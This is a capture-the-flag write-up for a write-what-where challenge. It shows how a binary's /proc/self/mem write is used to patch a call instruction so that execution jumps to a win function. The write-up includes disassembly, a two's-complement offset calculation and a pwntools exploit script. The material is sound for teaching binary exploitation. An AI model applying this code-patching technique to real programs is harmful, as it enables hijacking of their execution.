This challenge will test your write-what-where abilities to modify a meaningful location to achieve the desired result. There are three challenges that are all based on the same idea of editing different locations.
From running the challenge, we see we're granted the opportunity to write to an address in the program. From the disassembly, we see the program expects a hexadecimal (pseudocode on the right):
0x004014ca lea rax, [rbp - 0x10] | rax = rbp - 0x10; 0x004014ce mov rsi, rax | rsi = rax; 0x004014d1 lea rax, [rip + 0xbd6] | rax = "0x%lx[^\n]"; 0x004014d8 mov rdi, rax | rdi = rax; 0x004014db mov eax, 0 | eax = 0; 0x004014e0 call 0x4011c0 | isoc99_scanf ();
From there, the Memory-Write-Inator gets called, which allows you to enter a long
hexadecimal to write at that location. It prints the current value for reference. Here is a sample run of the program:
Checking the disassembly for memory_write_inator
, we notice it uses a rather unconventional method for writing this information:
0x00401399 mov esi, 2 | esi = 2; 0x0040139e lea rax, [rip + 0xc74] | rax = "/proc/self/mem"; 0x004013a5 mov rdi, rax | rdi = rax; 0x004013a8 mov eax, 0 | eax = 0; 0x004013ad call 0x4011a0 | eax = open (rdi, 2); 0x004013b2 mov dword [rbp - 0x1c], eax | *((rbp - 0x1c)) = eax;
It's opening /proc/self/mem
and writing the data there:
0x00401450 lea rcx, [rbp - 0x18] | rcx = rbp - 0x18; 0x00401454 mov eax, dword [rbp - 0x1c] | eax = *((rbp - 0x1c)); 0x00401457 mov edx, 8 | edx = 8; 0x0040145c mov rsi, rcx | rsi = rcx; 0x0040145f mov edi, eax | edi = eax; 0x00401461 call 0x401120 | write (edi, rsi, edx);
We can check man proc
to see what this file is:
/proc/[pid]/mem
This file can be used to access the pages of a process's memory through open(2), read(2), and lseek(2).
Permission to access this file is governed by a ptrace access mode PTRACE_MODE_ATTACH_FSCREDS check; see ptrace(2).
This file allows us to edit any memory inside the process, including read-only segments. This provides extra permission over doing *addr = value
because this is subject to the permissions of the address memory segment.
Given write-what-where, the first instinct might be a GOT overwrite. Despite this binary having Full RELRO, we already indicated we can write to read-only segments. However, we'll run into the problem outlined below.
puts()
, meaning this is the only choice for the GOT entry to overwrite. We must overwrite this with the address of win
for it to call win
. Dissecting win
, we see it loads the flag into memory and prints the flag:0x004012e5 call 0x4011b0 | rax = fopen (rax, rsi); 0x004012ea mov rdx, rax | rdx = rax; 0x004012ed lea rax, [rbp - 0x50] | rax = rbp - 0x50; 0x004012f1 mov esi, 0x40 | esi = 0x40; 0x004012f6 mov rdi, rax | rdi = rax; 0x004012f9 call 0x401180 | fgets (rdi, esi, rdx); 0x004012fe lea rax, [rbp - 0x50] | rax = rbp - 0x50; 0x00401302 mov rdi, rax | rdi = rax; 0x00401305 call 0x401110 | puts (rdi);
Notice this function uses puts()
to print the flag. Since puts()
inside the GOT table is overwritten with the address to win
, instead of printing the flag, it calls win
again! This leads to an infinite recursion issue that results in a SEGFAULT. Therefore, this means this attack vector is not valid because it ruins our way of printing the flag.
This means we must modify something else. We don't have buffer overflow opportunities because we can't guarantee ASLR is off, meaning stack addresses will be randomized. What is left?
The notion that we can still write to read-only segments is imperative for this challenge. Because of this, we choose to write to the text segment to modify an instruction. Most instructions are less than 8 bytes, meaning we can modify an instruction to do something different to achieve the desired effect. The easiest instruction to modify is this:
0x0000000000401500 <+131>: call 0x401110 <puts@plt>
This is a good instruction to choose because we can easily change the function it calls without any effect to the surrounding code. In this case, we simply want to change the instruction to something like this:
0x0000000000401500 <+131>: call 0x4012b6 <win>
In order to determine how to do this, we must understand how instructions are written.
In the assembly process, instructions are converted to hexadecimal based on the program architecture. In this case, for x64, the x64 ISA (Instruction Set Architecture) defines codes that represent how instructions are written. These codes, called Opcodes, indicate the instruction to be executed and its arguments.
Let's see what prints when we print the instruction at 0x401500
:
Welcome to Dr. Doofenshmirtz's brand new Memory-Write-Inator! Provide an address in memory and it'll change it for you: 0x401500 Good choice! You chose: e8 0b fc ff ff b8 00 00 The Memory-Write-Inator will now change its value for you. Enter a new value for this location:
It prints 8 bytes there! It doesn't make sense that the instruction is 8
bytes, it should be 5
(see Instructions in Assembly to understand why). We can use disas /r
to print the bytes for each instruction with the instruction in GDB. Let's check the instruction being printed:
0x0000000000401500 <+131>: e8 0b fc ff ff call 0x401110 <puts@plt> 0x0000000000401505 <+136>: b8 00 00 00 00 mov eax,0x0
We see that as expected, the instruction is 5 bytes. However, since the code always prints 8 bytes, it is printing part of the next instruction. When we overwrite this value, we must ensure to also do this to keep the code consistent.
First, we must break down the instruction we're overwriting. This is done in detail in the above reference. e8
is the Opcode for a CALL rel16/32
instruction. rel
is important because it indicates that the following four bytes are a relative displacement. Since puts
is above main
in the text segment (because of Full RELRO), we expect the displacement to be negative (two's complement). This displacement is 0xfffffc0b=-0x3f5=-1013
.
The easy way is to compute the instruction to replace and enter normally. Since the code is expecting a 0x%lx
value, we can easily enter this ourselves.
We must determine the offset between the return instruction and win
. Let's collect those addresses:
0x00000000004012b6 win 0x0000000000401500 <+131>: e8 0b fc ff ff call 0x401110 <puts@plt> 0x0000000000401505 <+136>: b8 00 00 00 00 mov eax,0x0
We need the distance between 0x4012b6
and 0x401505
. We're confident the displacement must be negative since main
is the highest function in the text segment. Python does not do two's complement since it doesn't track variable sizes; however, we can compute it manually. First, we can get the value to convert:
>>> hex(0x4012b6-0x401505) '-0x24f'
To convert to two's complement, find the difference between the value and 1 plus the maximum size for that type. In this case, to fit a 32-byte value, we need 0xffffffff + 1
. We can also write this as 1 << 32
.
>>> hex((1 << 32) - 0x24f) '0xfffffdb1'
With this, we can replace our instruction and send it: Following the format (hinted by the output of the program), we need to send:
e8 b1 fd ff ff b8 00 00
Remember that we send the hex in the proper format and the C Runtime automatically reads it little-endian as expected. Let's send it!
The automated way is to compute the new instruction independent of the address of each function. Solely considering the offset between win
and the instruction, we can use Pwntools to help deduce the replacement instruction.
First, we'll want a method for automatically computing two's complement. We'll use the same idea as the above method to write this:
def twos_comp(offset, bits): return p32((1 << bits) + offset)
Then, we outline the instruction line to change. We can send this to the binary.
change = elf.sym.main + 131 p.sendline(hex(change).encode())
Then, we want to receive the data containing the current instruction and store it as an array of hex values. This can also be done as bytes.
p.recvuntil(b"You chose: ") bts = [int(x, 16) for x in p.recvline().decode().strip().split(" ")]
Then, we must compute the new offset using the two's complement formula and replace the offset inside the array:
offset = elf.sym.win - (elf.sym.main + 136) offset = [b for b in twos_comp(offset, 32)] bts[1:5] = offset
Finally, turn this into a byte-string containing a hex value and send it to the challenge!
inst = '0x' + bytes(bts[::-1]).hex() p.sendline(inst.encode()) p.interactive()
Running this gets us the flag as well!